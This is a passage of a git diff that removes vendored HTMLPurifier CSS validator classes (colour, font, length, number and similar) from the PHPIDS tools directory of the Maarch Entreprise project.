false; // prevent re-use: center = center center - } - elseif (count($measures)) $ret[] = array_shift($measures); - - if ($keywords['v']) $ret[] = $keywords['v']; - elseif ($keywords['cv']) $ret[] = $keywords['cv']; - elseif (count($measures)) $ret[] = array_shift($measures); - - if (empty($ret)) return false; - return implode(' ', $ret); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Border.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Border.php deleted file mode 100755 index c3e279fc42804a464ff74acf7c5d26b791753aad..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Border.php +++ /dev/null @@ -1,43 +0,0 @@ -<?php - -/** - * Validates the border property as defined by CSS. - */ -class HTMLPurifier_AttrDef_CSS_Border extends HTMLPurifier_AttrDef -{ - - /** - * Local copy of properties this property is shorthand for. - */ - protected $info = array(); - - public function __construct($config) { - $def = $config->getCSSDefinition(); - $this->info['border-width'] = $def->info['border-width']; - $this->info['border-style'] = $def->info['border-style']; - $this->info['border-top-color'] = $def->info['border-top-color']; - } - - public function validate($string, $config, $context) { - $string = $this->parseCDATA($string); - $string = $this->mungeRgb($string); - $bits = explode(' ', $string); - $done = array(); // segments we've finished - $ret = ''; // return value - foreach ($bits as $bit) { - foreach ($this->info as $propname => $validator) { - if (isset($done[$propname])) continue; - $r = $validator->validate($bit, $config, $context); - if ($r !== false) { - $ret .= $r . ' '; - $done[$propname] = true; - break; - } - } - } - return rtrim($ret); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Color.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Color.php deleted file mode 100755 index ec999d652b0ceaeddd8c6da9e59ba5eba7c937f4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Color.php +++ /dev/null @@ -1,78 +0,0 @@ -<?php - -/** - * Validates Color as defined by CSS. - */ -class HTMLPurifier_AttrDef_CSS_Color extends HTMLPurifier_AttrDef -{ - - public function validate($color, $config, $context) { - - static $colors = null; - if ($colors === null) $colors = $config->get('Core.ColorKeywords'); - - $color = trim($color); - if ($color === '') return false; - - $lower = strtolower($color); - if (isset($colors[$lower])) return $colors[$lower]; - - if (strpos($color, 'rgb(') !== false) { - // rgb literal handling - $length = strlen($color); - if (strpos($color, ')') !== $length - 1) return false; - $triad = substr($color, 4, $length - 4 - 1); - $parts = explode(',', $triad); - if (count($parts) !== 3) return false; - $type = false; // to ensure that they're all the same type - $new_parts = array(); - foreach ($parts as $part) { - $part = trim($part); - if ($part === '') return false; - $length = strlen($part); - if ($part[$length - 1] === '%') { - // handle percents - if (!$type) { - $type = 'percentage'; - } elseif ($type !== 'percentage') { - return false; - } - $num = (float) substr($part, 0, $length - 1); - if ($num < 0) $num = 0; - if ($num > 100) $num = 100; - $new_parts[] = "$num%"; - } else { - // handle integers - if (!$type) { - $type = 'integer'; - } elseif ($type !== 'integer') { - return false; - } - $num = (int) $part; - if ($num < 0) $num = 0; - if ($num > 255) $num = 255; - $new_parts[] = (string) $num; - } - } - $new_triad = implode(',', $new_parts); - $color = "rgb($new_triad)"; - } else { - // hexadecimal handling - if ($color[0] === '#') { - $hex = substr($color, 1); - } else { - $hex = $color; - $color = '#' . $color; - } - $length = strlen($hex); - if ($length !== 3 && $length !== 6) return false; - if (!ctype_xdigit($hex)) return false; - } - - return $color; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Composite.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Composite.php deleted file mode 100755 index 9e9f071e284ec600b0e8f9353a5c956c9f38d902..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Composite.php +++ /dev/null @@ -1,38 +0,0 @@ -<?php - -/** - * Allows multiple validators to attempt to validate attribute. - * - * Composite is just what it sounds like: a composite of many validators. - * This means that multiple HTMLPurifier_AttrDef objects will have a whack - * at the string. If one of them passes, that's what is returned. This is - * especially useful for CSS values, which often are a choice between - * an enumerated set of predefined values or a flexible data type. - */ -class HTMLPurifier_AttrDef_CSS_Composite extends HTMLPurifier_AttrDef -{ - - /** - * List of HTMLPurifier_AttrDef objects that may process strings - * @todo Make protected - */ - public $defs; - - /** - * @param $defs List of HTMLPurifier_AttrDef objects - */ - public function __construct($defs) { - $this->defs = $defs; - } - - public function validate($string, $config, $context) { - foreach ($this->defs as $i => $def) { - $result = $this->defs[$i]->validate($string, $config, $context); - if ($result !== false) return $result; - } - return false; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php deleted file mode 100755 index 52cac2ac83515f3abd12a9e4fdd1be74034a0589..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php +++ /dev/null @@ -1,28 +0,0 @@ -<?php - -/** - * Decorator which enables CSS properties to be disabled for specific elements. - */ -class HTMLPurifier_AttrDef_CSS_DenyElementDecorator extends HTMLPurifier_AttrDef -{ - public $def, $element; - - /** - * @param $def Definition to wrap - * @param $element Element to deny - */ - public function __construct($def, $element) { - $this->def = $def; - $this->element = $element; - } - /** - * Checks if CurrentToken is set and equal to $this->element - */ - public function validate($string, $config, $context) { - $token = $context->get('CurrentToken', true); - if ($token && $token->name == $this->element) return false; - return $this->def->validate($string, $config, $context); - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Filter.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Filter.php deleted file mode 100755 index 4a0fb33196231661f4aeb3c591fe6f55ba1fed9b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Filter.php +++ /dev/null @@ -1,54 +0,0 @@ -<?php - -/** - * Microsoft's proprietary filter: CSS property - * @note Currently supports the alpha filter. In the future, this will - * probably need an extensible framework - */ -class HTMLPurifier_AttrDef_CSS_Filter extends HTMLPurifier_AttrDef -{ - - protected $intValidator; - - public function __construct() { - $this->intValidator = new HTMLPurifier_AttrDef_Integer(); - } - - public function validate($value, $config, $context) { - $value = $this->parseCDATA($value); - if ($value === 'none') return $value; - // if we looped this we could support multiple filters - $function_length = strcspn($value, '('); - $function = trim(substr($value, 0, $function_length)); - if ($function !== 'alpha' && - $function !== 'Alpha' && - $function !== 'progid:DXImageTransform.Microsoft.Alpha' - ) return false; - $cursor = $function_length + 1; - $parameters_length = strcspn($value, ')', $cursor); - $parameters = substr($value, $cursor, $parameters_length); - $params = explode(',', $parameters); - $ret_params = array(); - $lookup = array(); - foreach ($params as $param) { - list($key, $value) = explode('=', $param); - $key = trim($key); - $value = trim($value); - if (isset($lookup[$key])) continue; - if ($key !== 'opacity') continue; - $value = $this->intValidator->validate($value, $config, $context); - if ($value === false) continue; - $int = (int) $value; - if ($int > 100) $value = '100'; - if ($int < 0) $value = '0'; - $ret_params[] = "$key=$value"; - $lookup[$key] = true; - } - $ret_parameters = implode(',', $ret_params); - $ret_function = "$function($ret_parameters)"; - return $ret_function; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Font.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Font.php deleted file mode 100755 index 4e84fe88391f150957c0f958ec2c090450051e7d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Font.php +++ /dev/null @@ -1,149 +0,0 @@ -<?php - -/** - * Validates shorthand CSS property font. - */ -class HTMLPurifier_AttrDef_CSS_Font extends HTMLPurifier_AttrDef -{ - - /** - * Local copy of component validators. - * - * @note If we moved specific CSS property definitions to their own - * classes instead of having them be assembled at run time by - * CSSDefinition, this wouldn't be necessary. We'd instantiate - * our own copies. - */ - protected $info = array(); - - public function __construct($config) { - $def = $config->getCSSDefinition(); - $this->info['font-style'] = $def->info['font-style']; - $this->info['font-variant'] = $def->info['font-variant']; - $this->info['font-weight'] = $def->info['font-weight']; - $this->info['font-size'] = $def->info['font-size']; - $this->info['line-height'] = $def->info['line-height']; - $this->info['font-family'] = $def->info['font-family']; - } - - public function validate($string, $config, $context) { - - static $system_fonts = array( - 'caption' => true, - 'icon' => true, - 'menu' => true, - 'message-box' => true, - 'small-caption' => true, - 'status-bar' => true - ); - - // regular pre-processing - $string = $this->parseCDATA($string); - if ($string === '') return false; - - // check if it's one of the keywords - $lowercase_string = strtolower($string); - if (isset($system_fonts[$lowercase_string])) { - return $lowercase_string; - } - - $bits = explode(' ', $string); // bits to process - $stage = 0; // this indicates what we're looking for - $caught = array(); // which stage 0 properties have we caught? - $stage_1 = array('font-style', 'font-variant', 'font-weight'); - $final = ''; // output - - for ($i = 0, $size = count($bits); $i < $size; $i++) { - if ($bits[$i] === '') continue; - switch ($stage) { - - // attempting to catch font-style, font-variant or font-weight - case 0: - foreach ($stage_1 as $validator_name) { - if (isset($caught[$validator_name])) continue; - $r = $this->info[$validator_name]->validate( - $bits[$i], $config, $context); - if ($r !== false) { - $final .= $r . ' '; - $caught[$validator_name] = true; - break; - } - } - // all three caught, continue on - if (count($caught) >= 3) $stage = 1; - if ($r !== false) break; - - // attempting to catch font-size and perhaps line-height - case 1: - $found_slash = false; - if (strpos($bits[$i], '/') !== false) { - list($font_size, $line_height) = - explode('/', $bits[$i]); - if ($line_height === '') { - // ooh, there's a space after the slash! - $line_height = false; - $found_slash = true; - } - } else { - $font_size = $bits[$i]; - $line_height = false; - } - $r = $this->info['font-size']->validate( - $font_size, $config, $context); - if ($r !== false) { - $final .= $r; - // attempt to catch line-height - if ($line_height === false) { - // we need to scroll forward - for ($j = $i + 1; $j < $size; $j++) { - if ($bits[$j] === '') continue; - if ($bits[$j] === '/') { - if ($found_slash) { - return false; - } else { - $found_slash = true; - continue; - } - } - $line_height = $bits[$j]; - break; - } - } else { - // slash already found - $found_slash = true; - $j = $i; - } - if ($found_slash) { - $i = $j; - $r = $this->info['line-height']->validate( - $line_height, $config, $context); - if ($r !== false) { - $final .= '/' . $r; - } - } - $final .= ' '; - $stage = 2; - break; - } - return false; - - // attempting to catch font-family - case 2: - $font_family = - implode(' ', array_slice($bits, $i, $size - $i)); - $r = $this->info['font-family']->validate( - $font_family, $config, $context); - if ($r !== false) { - $final .= $r . ' '; - // processing completed successfully - return rtrim($final); - } - return false; - } - } - return false; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/FontFamily.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/FontFamily.php deleted file mode 100755 index e7fccaadb3ea4105c74947e25d35e1cf9fd8d321..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/FontFamily.php +++ /dev/null @@ -1,197 +0,0 @@ -<?php - -/** - * Validates a font family list according to CSS spec - */ -class HTMLPurifier_AttrDef_CSS_FontFamily extends HTMLPurifier_AttrDef -{ - - protected $mask = null; - - public function __construct() { - $this->mask = '- '; - for ($c = 'a'; $c <= 'z'; $c++) $this->mask .= $c; - for ($c = 'A'; $c <= 'Z'; $c++) $this->mask .= $c; - for ($c = '0'; $c <= '9'; $c++) $this->mask .= $c; // cast-y, but should be fine - // special bytes used by UTF-8 - for ($i = 0x80; $i <= 0xFF; $i++) { - // We don't bother excluding invalid bytes in this range, - // because the our restriction of well-formed UTF-8 will - // prevent these from ever occurring. - $this->mask .= chr($i); - } - - /* - PHP's internal strcspn implementation is - O(length of string * length of mask), making it inefficient - for large masks. However, it's still faster than - preg_match 8) - for (p = s1;;) { - spanp = s2; - do { - if (*spanp == c || p == s1_end) { - return p - s1; - } - } while (spanp++ < (s2_end - 1)); - c = *++p; - } - */ - // possible optimization: invert the mask. - } - - public function validate($string, $config, $context) { - static $generic_names = array( - 'serif' => true, - 'sans-serif' => true, - 'monospace' => true, - 'fantasy' => true, - 'cursive' => true - ); - $allowed_fonts = $config->get('CSS.AllowedFonts'); - - // assume that no font names contain commas in them - $fonts = explode(',', $string); - $final = ''; - foreach($fonts as $font) { - $font = trim($font); - if ($font === '') continue; - // match a generic name - if (isset($generic_names[$font])) { - if ($allowed_fonts === null || isset($allowed_fonts[$font])) { - $final .= $font . ', '; - } - continue; - } - // match a quoted name - if ($font[0] === '"' || $font[0] === "'") { - $length = strlen($font); - if ($length <= 2) continue; - $quote = $font[0]; - if ($font[$length - 1] !== $quote) continue; - $font = substr($font, 1, $length - 2); - } - - $font = $this->expandCSSEscape($font); - - // $font is a pure representation of the font name - - if ($allowed_fonts !== null && !isset($allowed_fonts[$font])) { - continue; - } - - if (ctype_alnum($font) && $font !== '') { - // very simple font, allow it in unharmed - $final .= $font . ', '; - continue; - } - - // bugger out on whitespace. form feed (0C) really - // shouldn't show up regardless - $font = str_replace(array("\n", "\t", "\r", "\x0C"), ' ', $font); - - // Here, there are various classes of characters which need - // to be treated differently: - // - Alphanumeric characters are essentially safe. We - // handled these above. - // - Spaces require quoting, though most parsers will do - // the right thing if there aren't any characters that - // can be misinterpreted - // - Dashes rarely occur, but they fairly unproblematic - // for parsing/rendering purposes. - // The above characters cover the majority of Western font - // names. - // - Arbitrary Unicode characters not in ASCII. Because - // most parsers give little thought to Unicode, treatment - // of these codepoints is basically uniform, even for - // punctuation-like codepoints. These characters can - // show up in non-Western pages and are supported by most - // major browsers, for example: "ï¼ï¼³ 明æœ" is a - // legitimate font-name - // <http://ja.wikipedia.org/wiki/MS_明æœ>. See - // the CSS3 spec for more examples: - // <http://www.w3.org/TR/2011/WD-css3-fonts-20110324/localizedfamilynames.png> - // You can see live samples of these on the Internet: - // <http://www.google.co.jp/search?q=font-family+ï¼ï¼³+明æœ|ゴシック> - // However, most of these fonts have ASCII equivalents: - // for example, 'MS Mincho', and it's considered - // professional to use ASCII font names instead of - // Unicode font names. Thanks Takeshi Terada for - // providing this information. - // The following characters, to my knowledge, have not been - // used to name font names. - // - Single quote. While theoretically you might find a - // font name that has a single quote in its name (serving - // as an apostrophe, e.g. Dave's Scribble), I haven't - // been able to find any actual examples of this. - // Internet Explorer's cssText translation (which I - // believe is invoked by innerHTML) normalizes any - // quoting to single quotes, and fails to escape single - // quotes. (Note that this is not IE's behavior for all - // CSS properties, just some sort of special casing for - // font-family). So a single quote *cannot* be used - // safely in the font-family context if there will be an - // innerHTML/cssText translation. Note that Firefox 3.x - // does this too. - // - Double quote. In IE, these get normalized to - // single-quotes, no matter what the encoding. (Fun - // fact, in IE8, the 'content' CSS property gained - // support, where they special cased to preserve encoded - // double quotes, but still translate unadorned double - // quotes into single quotes.) So, because their - // fixpoint behavior is identical to single quotes, they - // cannot be allowed either. Firefox 3.x displays - // single-quote style behavior. - // - Backslashes are reduced by one (so \\ -> \) every - // iteration, so they cannot be used safely. This shows - // up in IE7, IE8 and FF3 - // - Semicolons, commas and backticks are handled properly. - // - The rest of the ASCII punctuation is handled properly. - // We haven't checked what browsers do to unadorned - // versions, but this is not important as long as the - // browser doesn't /remove/ surrounding quotes (as IE does - // for HTML). - // - // With these results in hand, we conclude that there are - // various levels of safety: - // - Paranoid: alphanumeric, spaces and dashes(?) - // - International: Paranoid + non-ASCII Unicode - // - Edgy: Everything except quotes, backslashes - // - NoJS: Standards compliance, e.g. sod IE. Note that - // with some judicious character escaping (since certain - // types of escaping doesn't work) this is theoretically - // OK as long as innerHTML/cssText is not called. - // We believe that international is a reasonable default - // (that we will implement now), and once we do more - // extensive research, we may feel comfortable with dropping - // it down to edgy. - - // Edgy: alphanumeric, spaces, dashes and Unicode. Use of - // str(c)spn assumes that the string was already well formed - // Unicode (which of course it is). - if (strspn($font, $this->mask) !== strlen($font)) { - continue; - } - - // Historical: - // In the absence of innerHTML/cssText, these ugly - // transforms don't pose a security risk (as \\ and \" - // might--these escapes are not supported by most browsers). - // We could try to be clever and use single-quote wrapping - // when there is a double quote present, but I have choosen - // not to implement that. (NOTE: you can reduce the amount - // of escapes by one depending on what quoting style you use) - // $font = str_replace('\\', '\\5C ', $font); - // $font = str_replace('"', '\\22 ', $font); - // $font = str_replace("'", '\\27 ', $font); - - // font possibly with spaces, requires quoting - $final .= "'$font', "; - } - $final = rtrim($final, ', '); - if ($final === '') return false; - return $final; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php deleted file mode 100755 index 35bc534061c998ccc93faae8cf5c474a60ed41b4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php +++ /dev/null @@ -1,40 +0,0 @@ -<?php - -/** - * Decorator which enables !important to be used in CSS values. - */ -class HTMLPurifier_AttrDef_CSS_ImportantDecorator extends HTMLPurifier_AttrDef -{ - public $def, $allow; - - /** - * @param $def Definition to wrap - * @param $allow Whether or not to allow !important - */ - public function __construct($def, $allow = false) { - $this->def = $def; - $this->allow = $allow; - } - /** - * Intercepts and removes !important if necessary - */ - public function validate($string, $config, $context) { - // test for ! and important tokens - $string = trim($string); - $is_important = false; - // :TODO: optimization: test directly for !important and ! important - if (strlen($string) >= 9 && substr($string, -9) === 'important') { - $temp = rtrim(substr($string, 0, -9)); - // use a temp, because we might want to restore important - if (strlen($temp) >= 1 && substr($temp, -1) === '!') { - $string = rtrim(substr($temp, 0, -1)); - $is_important = true; - } - } - $string = $this->def->validate($string, $config, $context); - if ($this->allow && $is_important) $string .= ' !important'; - return $string; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Length.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Length.php deleted file mode 100755 index 266010b0be1289cd77c0841d3f78aab5feb89557..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Length.php +++ /dev/null @@ -1,47 +0,0 @@ -<?php - -/** - * Represents a Length as defined by CSS. - */ -class HTMLPurifier_AttrDef_CSS_Length extends HTMLPurifier_AttrDef -{ - - protected $min, $max; - - /** - * @param HTMLPurifier_Length $max Minimum length, or null for no bound. String is also acceptable. - * @param HTMLPurifier_Length $max Maximum length, or null for no bound. String is also acceptable. - */ - public function __construct($min = null, $max = null) { - $this->min = $min !== null ? HTMLPurifier_Length::make($min) : null; - $this->max = $max !== null ? HTMLPurifier_Length::make($max) : null; - } - - public function validate($string, $config, $context) { - $string = $this->parseCDATA($string); - - // Optimizations - if ($string === '') return false; - if ($string === '0') return '0'; - if (strlen($string) === 1) return false; - - $length = HTMLPurifier_Length::make($string); - if (!$length->isValid()) return false; - - if ($this->min) { - $c = $length->compareTo($this->min); - if ($c === false) return false; - if ($c < 0) return false; - } - if ($this->max) { - $c = $length->compareTo($this->max); - if ($c === false) return false; - if ($c > 0) return false; - } - - return $length->toString(); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/ListStyle.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/ListStyle.php deleted file mode 100755 index 350ef6c91d2907be65c4fab6fe0c52c98d20b164..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/ListStyle.php +++ /dev/null @@ -1,78 +0,0 @@ -<?php - -/** - * Validates shorthand CSS property list-style. - * @warning Does not support url tokens that have internal spaces. - */ -class HTMLPurifier_AttrDef_CSS_ListStyle extends HTMLPurifier_AttrDef -{ - - /** - * Local copy of component validators. - * @note See HTMLPurifier_AttrDef_CSS_Font::$info for a similar impl. - */ - protected $info; - - public function __construct($config) { - $def = $config->getCSSDefinition(); - $this->info['list-style-type'] = $def->info['list-style-type']; - $this->info['list-style-position'] = $def->info['list-style-position']; - $this->info['list-style-image'] = $def->info['list-style-image']; - } - - public function validate($string, $config, $context) { - - // regular pre-processing - $string = $this->parseCDATA($string); - if ($string === '') return false; - - // assumes URI doesn't have spaces in it - $bits = explode(' ', strtolower($string)); // bits to process - - $caught = array(); - $caught['type'] = false; - $caught['position'] = false; - $caught['image'] = false; - - $i = 0; // number of catches - $none = false; - - foreach ($bits as $bit) { - if ($i >= 3) return; // optimization bit - if ($bit === '') continue; - foreach ($caught as $key => $status) { - if ($status !== false) continue; - $r = $this->info['list-style-' . $key]->validate($bit, $config, $context); - if ($r === false) continue; - if ($r === 'none') { - if ($none) continue; - else $none = true; - if ($key == 'image') continue; - } - $caught[$key] = $r; - $i++; - break; - } - } - - if (!$i) return false; - - $ret = array(); - - // construct type - if ($caught['type']) $ret[] = $caught['type']; - - // construct image - if ($caught['image']) $ret[] = $caught['image']; - - // construct position - if ($caught['position']) $ret[] = $caught['position']; - - if (empty($ret)) return false; - return implode(' ', $ret); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Multiple.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Multiple.php deleted file mode 100755 index 1298e8ba2b5ff60d15fb62d0c948eef8da111b08..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Multiple.php +++ /dev/null @@ -1,58 +0,0 @@ -<?php - -/** - * Framework class for strings that involve multiple values. - * - * Certain CSS properties such as border-width and margin allow multiple - * lengths to be specified. This class can take a vanilla border-width - * definition and multiply it, usually into a max of four. - * - * @note Even though the CSS specification isn't clear about it, inherit - * can only be used alone: it will never manifest as part of a multi - * shorthand declaration. Thus, this class does not allow inherit. - */ -class HTMLPurifier_AttrDef_CSS_Multiple extends HTMLPurifier_AttrDef -{ - - /** - * Instance of component definition to defer validation to. - * @todo Make protected - */ - public $single; - - /** - * Max number of values allowed. - * @todo Make protected - */ - public $max; - - /** - * @param $single HTMLPurifier_AttrDef to multiply - * @param $max Max number of values allowed (usually four) - */ - public function __construct($single, $max = 4) { - $this->single = $single; - $this->max = $max; - } - - public function validate($string, $config, $context) { - $string = $this->parseCDATA($string); - if ($string === '') return false; - $parts = explode(' ', $string); // parseCDATA replaced \r, \t and \n - $length = count($parts); - $final = ''; - for ($i = 0, $num = 0; $i < $length && $num < $this->max; $i++) { - if (ctype_space($parts[$i])) continue; - $result = $this->single->validate($parts[$i], $config, $context); - if ($result !== false) { - $final .= $result . ' '; - $num++; - } - } - if ($final === '') return false; - return rtrim($final); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Number.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Number.php deleted file mode 100755 index 7a74c1082d17ac3ff15a5a4193cdba02d3f59434..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Number.php +++ /dev/null @@ -1,69 +0,0 @@ -<?php - -/** - * Validates a number as defined by the CSS spec. - */ -class HTMLPurifier_AttrDef_CSS_Number extends HTMLPurifier_AttrDef -{ - - /** - * Bool indicating whether or not only positive values allowed. - */ - protected $non_negative = false; - - /** - * @param $non_negative Bool indicating whether negatives are forbidden - */ - public function __construct($non_negative = false) { - $this->non_negative = $non_negative; - } - - /** - * @warning Some contexts do not pass $config, $context. These - * variables should not be used without checking HTMLPurifier_Length - */ - public function validate($number, $config, $context) { - - $number = $this->parseCDATA($number); - - if ($number === '') return false; - if ($number === '0') return '0'; - - $sign = ''; - switch ($number[0]) { - case '-': - if ($this->non_negative) return false; - $sign = '-'; - case '+': - $number = substr($number, 1); - } - - if (ctype_digit($number)) { - $number = ltrim($number, '0'); - return $number ? $sign . $number : '0'; - } - - // Period is the only non-numeric character allowed - if (strpos($number, '.') === false) return false; - - list($left, $right) = explode('.', $number, 2); - - if ($left === '' && $right === '') return false; - if ($left !== '' && !ctype_digit($left)) return false; - - $left = ltrim($left, '0'); - $right = rtrim($right, '0'); - - if ($right === '') { - return $left ? $sign . $left : '0'; - } elseif (!ctype_digit($right)) { - return false; - } - - return $sign . $left . '.' . $right; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Percentage.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Percentage.php deleted file mode 100755 index b856af636d9b6609d783ef03e37ea72e9b5f48fb..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Percentage.php +++ /dev/null @@ -1,40 +0,0 @@ -<?php - -/** - * Validates a Percentage as defined by the CSS spec. - */ -class HTMLPurifier_AttrDef_CSS_Percentage extends HTMLPurifier_AttrDef -{ - - /** - * Instance of HTMLPurifier_AttrDef_CSS_Number to defer number validation - */ - protected $number_def; - - /** - * @param Bool indicating whether to forbid negative values - */ - public function __construct($non_negative = false) { - $this->number_def = new HTMLPurifier_AttrDef_CSS_Number($non_negative); - } - - public function validate($string, $config, $context) { - - $string = $this->parseCDATA($string); - - if ($string === '') return false; - $length = strlen($string); - if ($length === 1) return false; - if ($string[$length - 1] !== '%') return false; - - $number = substr($string, 0, $length - 1); - $number = $this->number_def->validate($number, $config, $context); - - if ($number === false) return false; - return "$number%"; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/TextDecoration.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/TextDecoration.php deleted file mode 100755 index 52b9bf8ac5e35ee546edde53ba70eccb829e6fba..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/TextDecoration.php +++ /dev/null @@ -1,38 +0,0 @@ -<?php - -/** - * Validates the value for the CSS property text-decoration - * @note This class could be generalized into a version that acts sort of - * like Enum except you can compound the allowed values. - */ -class HTMLPurifier_AttrDef_CSS_TextDecoration extends HTMLPurifier_AttrDef -{ - - public function validate($string, $config, $context) { - - static $allowed_values = array( - 'line-through' => true, - 'overline' => true, - 'underline' => true, - ); - - $string = strtolower($this->parseCDATA($string)); - - if ($string === 'none') return $string; - - $parts = explode(' ', $string); - $final = ''; - foreach ($parts as $part) { - if (isset($allowed_values[$part])) { - $final .= $part . ' '; - } - } - $final = rtrim($final); - if ($final === '') return false; - return $final; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/URI.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/URI.php deleted file mode 100755 index 9bbe40b56df5cd66c0aa20a6e66421e32f3d37cb..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/URI.php +++ /dev/null @@ -1,61 +0,0 @@ -<?php - -/** - * Validates a URI in CSS syntax, which uses url('http://example.com') - * @note While theoretically speaking a URI in a CSS document could - * be non-embedded, as of CSS2 there is no such usage so we're - * generalizing it. This may need to be changed in the future. - * @warning Since HTMLPurifier_AttrDef_CSS blindly uses semicolons as - * the separator, you cannot put a literal semicolon in - * in the URI. Try percent encoding it, in that case. - */ -class HTMLPurifier_AttrDef_CSS_URI extends HTMLPurifier_AttrDef_URI 